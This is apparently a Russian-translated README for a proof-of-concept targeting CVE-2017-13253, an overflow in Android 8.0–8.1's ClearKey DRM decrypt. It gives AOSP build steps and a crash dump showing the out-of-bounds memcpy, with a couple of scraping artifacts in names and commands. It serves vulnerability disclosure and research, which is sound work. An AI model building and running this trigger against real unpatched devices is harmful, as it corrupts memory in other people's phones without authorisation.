
PoC-код для CVE-2017-13253
PoC-код для CVE-2017-13253.
Полное описание доступно здесь. Обратите внимание, что цифры немного отличаются от поста в блоге, так как я обнаружил, что вероятность сбоя выше при куче 0x2000 (конечно, если запускать достаточно много раз, он всё равно должен произойти).
По вопросам/проблемам/комментариям обращайтесь ко мне в Twitter (@tamir_zb).
Для сборки:
AOSP/external. cd AOSP
source build/envsetup.sh
make icrypto_overflow
Запуск этого на непропатченной версии Android (8.0-8.1 до марта 2018) должен привести к переполнению. Это может привести к сбою, в зависимости от того, доступна ли перезаписанная память для записи.
Код должен вывести результат метода decrypt, который может различаться:
decrypt должен вернуть BAD_VALUE (-22).decrypt должен вернуть количество скопированных данных.decrypt должен вернуть UNKNOWN_ERROR (-32).decrypt должен вернуть 0.Вот частичный дамп сбоя, полученный при запуске этого PoC:
Build fingerprint: 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys'
Revision: 'MP1'
ABI: 'arm'
pid: 761, tid: 5232, name: HwBinder:761_1 >>> /vendor/bin/hw/[email protected] <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xee20f000
r0 ee20f000 r1 ee20d021 r2 00001eff r3 00000001
r4 00000001 r5 00000000 r6 ed117008 r7 00000000
r8 00000000 r9 fffff82a sl ee20d000 fp ee20efff
ip 08000000 sp ed2893c8 lr ed369e6b pc edda7f0c cpsr 20070010
backtrace:
#00 pc 00018f0c /system/lib/libc.so (__memcpy_base+244)
#01 pc 00004e67 /vendor/lib/mediadrm/libdrmclearkeyplugin.so (clearkeydrm::CryptoPlugin::decrypt(bool, unsigned char const*, unsigned char const*, android::CryptoPlugin::Mode, android::CryptoPlugin::Pattern const&, void const*, android::CryptoPlugin::SubSample const*, unsigned int, void*, android::AString*)+82)
...
memory map (205 entries):
(fault address prefixed with --->)
...
ee20d000-ee20efff rw- 0 2000 /dev/ashmem/MemoryHeapBase (deleted)
--->ee20f000-ee20ffff --- 0 1000 [anon:thread signal stack guard page]
...
Как видите, адрес сбоя — это память сразу после разделяемой памяти. Поскольку эта память защищена от записи, переполнение привело к ошибке сегментации.